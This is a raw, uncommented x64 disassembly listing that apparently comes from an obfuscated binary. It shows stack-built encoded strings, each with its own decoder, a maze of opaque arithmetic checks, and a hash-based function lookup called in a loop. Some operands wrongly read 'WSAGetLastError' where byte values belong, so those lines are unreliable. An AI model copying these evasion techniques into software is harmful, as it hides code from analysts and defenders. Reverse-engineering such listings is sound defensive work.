mov byte [rbp + 0x668], 0x38
mov byte [rbp + 0x669], 0x38
mov byte [rbp + 0x66a], 0x38
movzx eax, byte [rbp + 0x661]
call fcn.140047650
mov qword [rbp + 0xec0], rax
mov byte [rbp + 0x670], 0
mov byte [rbp + 0x671], 0xb2
mov byte [rbp + 0x672], WSAGetLastError
mov byte [rbp + 0x673], 0xb4
mov byte [rbp + 0x674], WSAGetLastError
mov byte [rbp + 0x675], 0x59
mov byte [rbp + 0x676], WSAGetLastError
mov byte [rbp + 0x677], 0x9f
lea rcx, [rbp + 0x670]
mov byte [rbp + 0x678], WSAGetLastError
mov byte [rbp + 0x679], WSAGetLastError
mov byte [rbp + 0x67a], WSAGetLastError
movzx eax, byte [rbp + 0x671]
call fcn.1400475c0
mov qword [rbp + 0xec8], rax
lea rcx, [rbp + 0x680]
mov byte [rbp + 0x680], 0
mov byte [rbp + 0x681], 0x9b
mov byte [rbp + 0x682], 0x3c
mov byte [rbp + 0x683], 0x8c
mov byte [rbp + 0x684], 0x3c
mov byte [rbp + 0x685], 0xcc
mov byte [rbp + 0x686], 0x3c
mov byte [rbp + 0x687], 0x51
mov byte [rbp + 0x688], 0x3c
mov byte [rbp + 0x689], 0x3c
mov byte [rbp + 0x68a], 0x3c
movzx eax, byte [rbp + 0x681]
call fcn.140047530
mov qword [rbp + 0xed0], rax
lea rcx, [rbp + 0x690]
mov byte [rbp + 0x690], 0
mov byte [rbp + 0x691], 0xa
mov byte [rbp + 0x692], 0x53
mov byte [rbp + 0x693], 0x72
mov byte [rbp + 0x694], 0x53
mov byte [rbp + 0x695], 0x72
mov byte [rbp + 0x696], 0x53
mov byte [rbp + 0x697], 0x72
mov byte [rbp + 0x698], 0x53
mov byte [rbp + 0x699], 0x53
mov byte [rbp + 0x69a], 0x53
movzx eax, byte [rbp + 0x691]
call fcn.1400474a0
mov qword [rbp + 0xed8], rax
lea rcx, [rbp + 0x6a0]
mov byte [rbp + 0x6a0], 0
mov byte [rbp + 0x6a1], 0x79
mov byte [rbp + 0x6a2], 0x5c
mov byte [rbp + 0x6a3], WSAGetLastError
mov byte [rbp + 0x6a4], 0x5c
mov byte [rbp + 0x6a5], 0x23
mov byte [rbp + 0x6a6], 0x5c
mov byte [rbp + 0x6a7], 1
mov byte [rbp + 0x6a8], 0x5c
mov byte [rbp + 0x6a9], 0x5c
mov byte [rbp + 0x6aa], 0x5c
movzx eax, byte [rbp + 0x6a1]
call fcn.140047410
mov qword [rbp + 0xee0], rax
lea rcx, [rbp + 0x850]
mov byte [rbp + 0x850], 0
mov byte [rbp + 0x851], 0x63
mov byte [rbp + 0x852], 3
mov byte [rbp + 0x853], 0x2c
mov byte [rbp + 0x854], 3
mov byte [rbp + 0x855], 0xa5
mov byte [rbp + 0x856], 3
mov byte [rbp + 0x857], 0x30
mov byte [rbp + 0x858], 3
mov byte [rbp + 0x859], 0x16
mov byte [rbp + 0x85a], 3
mov byte [rbp + 0x85b], 3
mov byte [rbp + 0x85c], 3
movzx eax, byte [rbp + 0x851]
call fcn.140047390
mov qword [rbp + 0xee8], rax
mov byte [rbp + 0x6b0], 0
mov byte [rbp + 0x6b1], 0x59
mov byte [rbp + 0x6b2], WSAGetLastError
mov byte [rbp + 0x6b3], 0xcb
mov byte [rbp + 0x6b4], WSAGetLastError
mov byte [rbp + 0x6b5], 0xb2
mov byte [rbp + 0x6b6], WSAGetLastError
mov byte [rbp + 0x6b7], 0x8f
mov byte [rbp + 0x6b8], WSAGetLastError
mov byte [rbp + 0x6b9], WSAGetLastError
mov byte [rbp + 0x6ba], WSAGetLastError
movzx eax, byte [rbp + 0x6b1]
lea rcx, [rbp + 0x6b0]
call fcn.140047300
mov qword [rbp + 0xef0], rax
lea rcx, [rbp + 0x6c0]
mov byte [rbp + 0x6c0], 0
mov byte [rbp + 0x6c1], 0xc5
mov byte [rbp + 0x6c2], 0x4d
mov byte [rbp + 0x6c3], 0x13
mov byte [rbp + 0x6c4], 0x4d
mov byte [rbp + 0x6c5], 0xc4
mov byte [rbp + 0x6c6], 0x4d
mov byte [rbp + 0x6c7], 0x26
mov byte [rbp + 0x6c8], 0x4d
mov byte [rbp + 0x6c9], 0x4d
mov byte [rbp + 0x6ca], 0x4d
movzx eax, byte [rbp + 0x6c1]
call fcn.140047270
mov qword [rbp + 0xef8], rax
lea rcx, [rbp + 0x6d0]
mov byte [rbp + 0x6d0], 0
mov byte [rbp + 0x6d1], 0x7e
mov byte [rbp + 0x6d2], 0x48
mov byte [rbp + 0x6d3], 0x47
mov byte [rbp + 0x6d4], 0x48
mov byte [rbp + 0x6d5], 0x2e
mov byte [rbp + 0x6d6], 0x48
mov byte [rbp + 0x6d7], 0x71
mov byte [rbp + 0x6d8], 0x48
mov byte [rbp + 0x6d9], 0x48
mov byte [rbp + 0x6da], 0x48
movzx eax, byte [rbp + 0x6d1]
call fcn.1400471e0
mov qword [rbp + 0xf00], rax
lea rcx, [rbp + 0x900]
mov byte [rbp + 0x900], 0
mov byte [rbp + 0x901], 0x38
mov byte [rbp + 0x902], 0xb
mov byte [rbp + 0x903], 0x34
mov byte [rbp + 0x904], 0xb
mov byte [rbp + 0x905], 0x86
mov byte [rbp + 0x906], 0xb
mov byte [rbp + 0x907], 0x49
mov byte [rbp + 0x908], 0xb
mov byte [rbp + 0x909], 0xd1
mov byte [rbp + 0x90a], 0xb
mov byte [rbp + 0x90b], 0xd1
mov byte [rbp + 0x90c], 0xb
mov byte [rbp + 0x90d], 0xb
mov byte [rbp + 0x90e], 0xb
movzx eax, byte [rbp + 0x901]
call fcn.140047160
mov qword [rbp + 0xf08], rax
lea rcx, [rbp + 0x998]
mov byte [rbp + 0x998], 0
mov byte [rbp + 0x999], 6
mov byte [rbp + 0x99a], 0x3e
mov byte [rbp + 0x99b], 0xb8
mov byte [rbp + 0x99c], 0x3e
mov byte [rbp + 0x99d], 0x1e
mov byte [rbp + 0x99e], 0x3e
mov byte [rbp + 0x99f], 0x7f
mov byte [rbp + 0x9a0], 0x3e
mov byte [rbp + 0x9a1], 0xe0
mov byte [rbp + 0x9a2], 0x3e
mov byte [rbp + 0x9a3], 0xe0
mov byte [rbp + 0x9a4], 0x3e
mov byte [rbp + 0x9a5], 0x1e
mov byte [rbp + 0x9a6], 0x3e
mov byte [rbp + 0x9a7], 0x3e
mov byte [rbp + 0x9a8], 0x3e
movzx eax, byte [rbp + 0x999]
call fcn.1400470e0
mov qword [rbp + 0xf10], rax
mov byte [rbp + 0x6e0], 0
mov byte [rbp + 0x6e1], 0x5d
mov byte [rbp + 0x6e2], 0xf
mov byte [rbp + 0x6e3], 0x72
mov byte [rbp + 0x6e4], 0xf
mov byte [rbp + 0x6e5], 0xcb
mov byte [rbp + 0x6e6], 0xf
mov byte [rbp + 0x6e7], 0xd2
lea rcx, [rbp + 0x6e0]
mov byte [rbp + 0x6e8], 0xf
mov byte [rbp + 0x6e9], 0xf
mov byte [rbp + 0x6ea], 0xf
movzx eax, byte [rbp + 0x6e1]
call fcn.140047060
mov qword [rbp + 0xf18], rax
lea rcx, [rbp + 0x6f0]
mov byte [rbp + 0x6f0], 0
mov byte [rbp + 0x6f1], 0x85
mov byte [rbp + 0x6f2], 0x26
mov byte [rbp + 0x6f3], 0x5b
mov byte [rbp + 0x6f4], 0x26
mov byte [rbp + 0x6f5], 0xa4
mov byte [rbp + 0x6f6], 0x26
mov byte [rbp + 0x6f7], 0xd
mov byte [rbp + 0x6f8], 0x26
mov byte [rbp + 0x6f9], 0x26
mov byte [rbp + 0x6fa], 0x26
movzx eax, byte [rbp + 0x6f1]
call fcn.140046fd0
mov qword [rbp + 0xf20], rax
lea rcx, [rbp + 0x910]
mov byte [rbp + 0x910], 0
mov byte [rbp + 0x911], 0x7e
mov byte [rbp + 0x912], 0x2f
mov byte [rbp + 0x913], 0x63
mov byte [rbp + 0x914], 0x2f
mov byte [rbp + 0x915], 0x9d
mov byte [rbp + 0x916], 0x2f
mov byte [rbp + 0x917], 0x9d
mov byte [rbp + 0x918], 0x2f
mov byte [rbp + 0x919], 0xba
mov byte [rbp + 0x91a], 0x2f
mov byte [rbp + 0x91b], 0xeb
mov byte [rbp + 0x91c], 0x2f
mov byte [rbp + 0x91d], 0x2f
mov byte [rbp + 0x91e], 0x2f
movzx eax, byte [rbp + 0x911]
call fcn.140046f50
mov qword [rbp + 0xf28], rax
lea rcx, [rbp + 0x700]
mov byte [rbp + 0x700], 0
mov byte [rbp + 0x701], 0x35
mov byte [rbp + 0x702], 0x54
mov byte [rbp + 0x703], 0x23
mov byte [rbp + 0x704], 0x54
mov byte [rbp + 0x705], 0x5d
mov byte [rbp + 0x706], 0x54
mov byte [rbp + 0x707], 0x77
mov byte [rbp + 0x708], 0x54
mov byte [rbp + 0x709], 0x54
mov byte [rbp + 0x70a], 0x54
movzx eax, byte [rbp + 0x701]
call fcn.140046ed0
mov qword [rbp + 0xf30], rax
lea rcx, [rbp + 0x710]
mov byte [rbp + 0x710], 0
mov byte [rbp + 0x711], 0xa1
mov byte [rbp + 0x712], 0x41
mov byte [rbp + 0x713], WSAGetLastError
mov byte [rbp + 0x714], 0x41
mov byte [rbp + 0x715], 0x54
mov byte [rbp + 0x716], 0x41
mov byte [rbp + 0x717], 0xd5
mov byte [rbp + 0x718], 0x41
mov byte [rbp + 0x719], 0x41
mov byte [rbp + 0x71a], 0x41
movzx eax, byte [rbp + 0x711]
call fcn.140046e50
mov qword [rbp + 0xf38], rax
mov byte [rbp + 0x720], 0
mov byte [rbp + 0x721], 0xa1
mov byte [rbp + 0x722], 0x20
mov byte [rbp + 0x723], 0xc6
mov byte [rbp + 0x724], 0x20
mov byte [rbp + 0x725], 0xea
mov byte [rbp + 0x726], 0x20
mov byte [rbp + 0x727], 0xc5
mov byte [rbp + 0x728], 0x20
mov byte [rbp + 0x729], 0x20
lea rcx, [rbp + 0x720]
mov byte [rbp + 0x72a], 0x20
movzx eax, byte [rbp + 0x721]
call fcn.140046dd0
mov qword [rbp + 0xf40], rax
lea rcx, [rbp + 0x730]
mov byte [rbp + 0x730], 0
mov byte [rbp + 0x731], 0xdf
mov byte [rbp + 0x732], 0x1b
mov byte [rbp + 0x733], WSAGetLastError
mov byte [rbp + 0x734], 0x1b
mov byte [rbp + 0x735], 0xb8
mov byte [rbp + 0x736], 0x1b
mov byte [rbp + 0x737], 0x34
mov byte [rbp + 0x738], 0x1b
mov byte [rbp + 0x739], 0x1b
mov byte [rbp + 0x73a], 0x1b
movzx eax, byte [rbp + 0x731]
call fcn.140046d50
mov qword [rbp + 0xf48], rax
lea rcx, [rbp + 0x740]
mov byte [rbp + 0x740], 0
mov byte [rbp + 0x741], 0x92
mov byte [rbp + 0x742], 0x5c
mov byte [rbp + 0x743], 0xf8
mov byte [rbp + 0x744], 0x5c
mov byte [rbp + 0x745], WSAGetLastError
mov byte [rbp + 0x746], 0x5c
mov byte [rbp + 0x747], 0xca
mov byte [rbp + 0x748], 0x5c
mov byte [rbp + 0x749], 0x5c
mov byte [rbp + 0x74a], 0x5c
movzx eax, byte [rbp + 0x741]
call fcn.140046cc0
mov qword [rbp + 0xf50], rax
lea rcx, [rbp + 0x750]
mov byte [rbp + 0x750], 0
mov byte [rbp + 0x751], 0xaa
mov byte [rbp + 0x752], 0x11
mov byte [rbp + 0x753], 0xd0
mov byte [rbp + 0x754], 0x11
mov byte [rbp + 0x755], 0x44
mov byte [rbp + 0x756], 0x11
mov byte [rbp + 0x757], 0xa7
mov byte [rbp + 0x758], 0x11
mov byte [rbp + 0x759], 0x11
mov byte [rbp + 0x75a], 0x11
movzx eax, byte [rbp + 0x751]
call fcn.140046c40
mov qword [rbp + 0xf58], rax
lea rcx, [rbp + 0x760]
mov byte [rbp + 0x760], 0
mov byte [rbp + 0x761], 0xfa
mov byte [rbp + 0x762], 0x60
mov byte [rbp + 0x763], WSAGetLastError
mov byte [rbp + 0x764], 0x60
mov byte [rbp + 0x765], 0x1b
mov byte [rbp + 0x766], 0x60
mov byte [rbp + 0x767], 0xb8
mov byte [rbp + 0x768], 0x60
mov byte [rbp + 0x769], 0x60
mov byte [rbp + 0x76a], 0x60
movzx eax, byte [rbp + 0x761]
call fcn.140046bc0
mov qword [rbp + 0xf60], rax
lea rcx, [rbp + 0x770]
mov byte [rbp + 0x770], 0
mov byte [rbp + 0x771], 0xc5
mov byte [rbp + 0x772], 0x77
mov byte [rbp + 0x773], 0xc1
mov byte [rbp + 0x774], 0x77
mov byte [rbp + 0x775], 0xf1
mov byte [rbp + 0x776], 0x77
mov byte [rbp + 0x777], 0x98
mov byte [rbp + 0x778], 0x77
mov byte [rbp + 0x779], 0x77
mov byte [rbp + 0x77a], 0x77
movzx eax, byte [rbp + 0x771]
call fcn.14004d8d0
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0x780], 0
lea rcx, [rbp + 0x780]
mov byte [rbp + 0x781], 0x5e
mov byte [rbp + 0x782], 2
mov byte [rbp + 0x783], 0xdc
mov byte [rbp + 0x784], 2
mov byte [rbp + 0x785], 0xc4
mov byte [rbp + 0x786], 2
mov byte [rbp + 0x787], 0xf0
mov byte [rbp + 0x788], 2
mov byte [rbp + 0x789], 2
mov byte [rbp + 0x78a], 2
movzx eax, byte [rbp + 0x781]
call fcn.140046b30
mov qword [rbp + 0xf70], rax
lea rcx, [rbp + 0x790]
mov byte [rbp + 0x790], 0
mov byte [rbp + 0x791], 0xd9
mov byte [rbp + 0x792], 0x27
mov byte [rbp + 0x793], 0x39
mov byte [rbp + 0x794], 0x27
mov byte [rbp + 0x795], 0x2c
mov byte [rbp + 0x796], 0x27
mov byte [rbp + 0x797], 0xaa
mov byte [rbp + 0x798], 0x27
mov byte [rbp + 0x799], 0x27
mov byte [rbp + 0x79a], 0x27
movzx eax, byte [rbp + 0x791]
call fcn.140046aa0
mov qword [rbp + 0xf78], rax
lea rcx, [rbp + 0x7a0]
mov byte [rbp + 0x7a0], 0
mov byte [rbp + 0x7a1], 0xf0
mov byte [rbp + 0x7a2], 0x14
mov byte [rbp + 0x7a3], 0xcb
mov byte [rbp + 0x7a4], 0x14
mov byte [rbp + 0x7a5], 0x1d
mov byte [rbp + 0x7a6], 0x14
mov byte [rbp + 0x7a7], 0xab
mov byte [rbp + 0x7a8], 0x14
mov byte [rbp + 0x7a9], 0x14
mov byte [rbp + 0x7aa], 0x14
movzx eax, byte [rbp + 0x7a1]
call fcn.140046a20
movss xmm7, dword [0x1400864bc]
xor edi, edi
movss xmm6, dword [0x1400864b8]
mov qword [rbp + 0xf80], rax
mov dword [rbp + 0xfc8], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rbp + 0xfc8]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14002ba7d
mov ecx, dword [rbp + 0xfc8]
add ecx, 2
add ecx, ebx
mov dword [rbp + 0xfc8], ecx
mov eax, dword [rbp + 0xfc8]
and eax, 0x80000003
jge 0x14002ba4a
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14002c197
mov eax, dword [rbp + 0xfc8]
inc eax
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
and eax, 0x80000003
jge 0x14002ba74
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14002ba52
jmp 0x14002c197
mov eax, dword [rbp + 0xfc8]
and eax, 0x80000001
mov eax, dword [rbp + 0xfc8]
je 0x14002baee
mov ecx, 2
sub ecx, ebx
add ecx, eax
mov eax, 0x55555556
mov dword [rbp + 0xfc8], ecx
mov ecx, dword [rbp + 0xfc8]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14002c197
nop
mov eax, dword [rbp + 0xfc8]
inc eax
mov dword [rbp + 0xfc8], eax
mov eax, 0x55555556
mov ecx, dword [rbp + 0xfc8]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14002bac0
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
and eax, 0x80000003
je 0x14002bb7c
add ecx, 2
lea eax, [rbx + 3]
imul ecx, eax
mov dword [rbp + 0xfc8], ecx
mov eax, dword [rbp + 0xfc8]
and eax, 0x80000001
jge 0x14002bb22
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14002c197
nop word [rax + rax]
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rbp + 0xfc8]
je 0x14002bb57
dec eax
jmp 0x14002bb59
inc eax
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
and eax, 0x80000001
jge 0x14002bb73
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x14002bb30
jmp 0x14002c197
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x14002bc1f
mov eax, dword [rbp + 0xfc8]
lea ecx, [rbx + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rbp + 0xfc8], eax
mov eax, 0x55555556
mov ecx, dword [rbp + 0xfc8]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14002c197
nop dword [rax + rax]
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rbp + 0xfc8]
je 0x14002bbf7
inc eax
jmp 0x14002bbf9
dec eax
mov dword [rbp + 0xfc8], eax
mov eax, 0x55555556
mov ecx, dword [rbp + 0xfc8]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14002bbd0
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x14002bc88
mov eax, dword [rbp + 0xfc8]
mov ecx, ebx
or ecx, 1
xor ecx, eax
mov dword [rbp + 0xfc8], ecx
mov eax, dword [rbp + 0xfc8]
test al, 1
jne 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, dword [rbp + 0xfc8]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
test al, 1
je 0x14002bc60
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x14002bd45
movd xmm0, dword [rbp + 0xfc8]
mov eax, 0x55555556
imul ebx
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rbp + 0xfc8], edx
mov ecx, dword [rbp + 0xfc8]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x14002c197
nop word [rax + rax]
movd xmm0, dword [rbp + 0xfc8]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rbp + 0xfc8], ecx
mov ecx, dword [rbp + 0xfc8]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x14002bd00
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rbp + 0xfc8]
je 0x14002bdbb
mov edx, dword [rbp + 0xfc8]
imul ecx, ebx
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rbp + 0xfc8], eax
lea r8d, [rcx + 6]
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0xfc8]
add eax, ecx
add ecx, edx
mov dword [rbp + 0xfc8], eax
sub r8, 1
jne 0x14002bda0
jmp 0x14002c197
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x14002be1d
mov eax, 0x92492493
mov ecx, ebx
imul ebx
add edx, ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
mov eax, dword [rbp + 0xfc8]
imul ecx, eax
mov dword [rbp + 0xfc8], ecx
xor ecx, ecx
mov eax, dword [rbp + 0xfc8]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rbp + 0xfc8], eax
cmp ecx, 0x57
jl 0x14002be00
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rbp + 0xfc8]
je 0x14002be7d
mov eax, dword [rbp + 0xfc8]
not eax
add eax, 0x1f
add eax, ebx
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
and eax, 0x80000001
jge 0x14002be6a
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14002c197
mov dword [rbp + 0xfc8], ecx
jmp 0x14002c197
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rbp + 0xfc8]
je 0x14002bef5
mov eax, dword [rbp + 0xfc8]
add ecx, 0x25
add eax, 0x25
add ecx, ebx
xor eax, ecx
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
cmp eax, 0x3fffffff
jge 0x14002c197
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0xfc8]
lea eax, [rax*2 - 0x25]
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
cmp eax, 0x3fffffff
jl 0x14002bed0
jmp 0x14002c197
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x14002bf87
mov eax, 0x63e7063f
mov ecx, ebx
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub ecx, eax
mov eax, dword [rbp + 0xfc8]
add ecx, eax
mov eax, 0x63e7063f
mov dword [rbp + 0xfc8], ecx
mov ecx, dword [rbp + 0xfc8]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x14002bf65
mov eax, dword [rbp + 0xfc8]
imul edx, eax, 0x29
mov dword [rbp + 0xfc8], edx
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rbp + 0xfc8], edx
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x14002c00c
mov eax, dword [rbp + 0xfc8]
mov ecx, ebx
add eax, 0x2b
mov dword [rbp + 0xfc8], eax
mov eax, 0x66666667
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
mov eax, dword [rbp + 0xfc8]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x14002c197
nop
mov eax, dword [rbp + 0xfc8]
cdq
idiv ecx
mov eax, dword [rbp + 0xfc8]
imul edx, ecx
add eax, edx
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
cdq
idiv ecx
test edx, edx
jne 0x14002bfe0
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x14002c091
mov eax, dword [rbp + 0xfc8]
mov ecx, ebx
dec eax
mov dword [rbp + 0xfc8], eax
mov eax, 0x4d4873ed
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, dword [rbp + 0xfc8]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x14002c197
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rbp + 0xfc8]
sub eax, 0x35
mov dword [rbp + 0xfc8], eax
mov eax, dword [rbp + 0xfc8]
cdq
idiv ecx
test edx, edx
jne 0x14002c070
jmp 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x14002c197
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14002c0f7
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rbp + 0xfc8]
inc ecx
jmp 0x14002c11f
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rbp + 0xfc8]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rbp + 0xfc8], ecx
mov ecx, dword [rbp + 0xfc8]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x14002c197
nop dword [rax + rax]
mov ecx, dword [rbp + 0xfc8]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rbp + 0xfc8], ecx
mov ecx, dword [rbp + 0xfc8]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x14002c150
mov edx, 0x16
xor ecx, ecx
mov r8d, 0xf8aefe61
lea r9d, [rdx + 1]
call fcn.140018170
mov rdx, qword [rbp + rdi*8 + 0xa30]
mov rcx, rbx
call rax
test rax, rax
jne 0x14002c1d1
inc rdi
cmp rdi, 0xab
jl 0x14002ba00
jmp 0x14002c1d6
mov eax, 1
lea r11, [rsp + 0x10b0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret